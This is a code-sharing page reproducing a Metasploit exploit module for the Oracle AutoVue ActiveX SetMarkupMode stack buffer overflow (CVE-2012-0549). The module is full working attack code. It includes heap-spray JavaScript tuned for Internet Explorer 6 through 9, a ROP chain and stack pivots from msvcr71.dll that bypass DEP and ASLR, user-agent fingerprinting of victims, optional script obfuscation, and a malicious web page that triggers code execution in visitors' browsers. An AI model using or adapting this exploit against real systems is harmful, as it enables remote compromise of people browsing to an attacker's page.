扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "9.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :classid=> "{B6FCC215-D303-11D1-BC6C-0000C078797F}", :method => "SetMarkupMode", :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability found in the AutoVue.ocx ActiveX control. The vulnerability, due to the insecure usage of an strcpy like function in the SetMarkupMode method, when handling a specially crafted sMarkup argument, allows to trigger a stack based buffer overflow which leads to code execution under the context of the user visiting a malicious web page. The module has been successfully tested against Oracle AutoVue Desktop Version 20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and ASLR bypass). }, 'Author' => [ 'Brian Gorenc', # Vulnerability discovery 'juan' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0549' ], [ 'BID', '53077' ], [ 'OSVDB', '81439' ], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 948, 'DisableNops' => true, }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # AutoVue.ocx 20.0.0.7330 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'SprayBlocks' => 0x185, 'SprayCounter' => '0x5f2', # 0x0c0c0c08 'SprayOffset' => '0x600', # 0x0c0c0c24 'Offset' => 1052, 'Ret' => 0x0c0c0c0c, 'Rop' => nil, 'RandomHeap' => false } ], [ 'IE 7 on Windows XP SP3 / Windows Vista SP2', { 'SprayBlocks' => 0x185, 'SprayCounter' => '0x5f2', # 0x0c0c0c08 'SprayOffset' => '0x600', # 0x0c0c0c24 'Offset' => 1052, 'Ret' => 0x0c0c0c0c, 'Rop' => nil, 'RandomHeap' => false } ], [ 'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2', { 'SprayBlocks' => 0x185, 'SprayCounter' => '0x5f2', # 0x0c0c0c08 'SprayStackPivot' => '0x5f6', # 0x0c0c0c10 'SprayOffset' => '0x5fc', # 0x0c0c0c1c 'Offset' => 1052, 'Ret' => 0x0c0c0c0c, 'Rop' => :jre, 'RandomHeap' => false, } ], [ 'IE 9 with Java 6 on Windows 7 SP1', { 'SprayBlocks' => 0x1000, 'SprayNops' => '0x5f6', # 0x0c0c0bfc 'SprayCounter' => '0x5fc', # 0x0c0c0c08 'SprayStackPivot' => '0x600', # 0x0c0c0c10 'SprayOffset' => '0x606', # 0x0c0c0c1c 'Offset' => 1052, 'Ret' => 0x0c0c0c0c, 'Rop' => :jre, 'RandomHeap' => true, } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 18 2012', 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class ) end def get_easy_spray(t, js_code, js_nops, js_counter) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); var counter = unescape("#{js_counter}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['SprayCounter']}); var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length); var block_used = code.length + offset_2.length + counter.length + offset.length; var shellcode = offset + counter + offset_2+ code + nops.substring(0, 0x800 - block_used); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < #{t['SprayBlocks']}; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); var counter = unescape("#{js_counter}"); var stack_pivot = unescape("#{js_stack_pivot}") while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['SprayCounter']}); var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length); var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length); var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length; var shellcode = offset + counter + offset_2+ stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < #{t['SprayBlocks']}; z++) { heap_obj.alloc(block); } JS return spray end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot) spray = <<-JS function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); var nops_90 = unescape("#{js_90_nops}"); var counter = unescape("#{js_counter}"); var stack_pivot = unescape("#{js_stack_pivot}") while (nops_90.length < 0x80000) nops_90 += nops_90; for (var i=0; i <#{t['SprayBlocks']}; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var offset = padding.substring(0, #{t['SprayNops']}); var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length); var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length -nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length); var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length; var single_sprayblock = offset + nops + offset_2 + counter + nops+ stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } JS return spray end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end # stackpivot from msvcr71.dll def get_stack_pivot_stage_1 rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN return rop end # stackpivot from msvcr71.dll def get_stack_pivot_stage_2 rop = [ 0x7c3522ca,# ADD EAX,20 # RETN 0x7c348b05,# XCHG EAX,ESP # RETN ].pack("V*") rop = rop.gsub(/"/, "\\\"") return rop end # ROP chain (msvcr71.dll) generated by mona.py - See corelan.be def get_rop_chain rop = [ 0x7c37653d,# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0x00001000,# (dwSize) 0x7c347f98,# RETN (ROP NOP) 0x7c3415a2,# JMP [EAX] 0xffffffff, 0x7c376402,# skip 4 bytes 0x7c345255,# INC EBX # FPATAN # RETN 0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87,# POP EDX # RETN 0x00000040,# flNewProtect 0x7c34d201,# POP ECX # RETN 0x7c38b001,# &Writable location 0x7c347f97,# POP EAX # RETN 0x7c37a151,# ptr to &VirtualProtect() - 0x0EF 0x7c378c81,# PUSHAD # ADD AL,0EF # RETN 0x7c345c30,# ptr to 'push esp #ret ' ].pack("V*") return rop end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1]#IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows Vista SP2 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3]#IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ return targets[3]#IE 8 on Windows 7 SP1/Vista SP2 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ return targets[4]#IE 9 on Windows 7 SP1 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("User-agent: #{agent}") my_target = get_target(agent) # Avoid the attack if the victim doesn't have a setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end p = payload.encoded if my_target['Rop'].nil? js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) else js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch)) js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch)) end js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch)) js = "" if my_target['RandomHeap'] js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot) elsif my_target['Rop'] js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot) else js = get_easy_spray(my_target, js_code, js_nops, js_counter) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end if my_target['Rop'].nil? sploit = rand_text_alpha(my_target['Offset']) else sploit = rand_text_alpha(8) sploit << get_stack_pivot_stage_2 # +1 because of the escape character in get_stack_pivot_stage_2 sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1) end sploit << [my_target.ret].pack("V") html = <<-MYHTML <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' /> </object> <script> setTimeout(function(){ obj.SetMarkupMode("#{sploit}"); }, 100); </script> </body> </html> MYHTML html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |
体验盒子
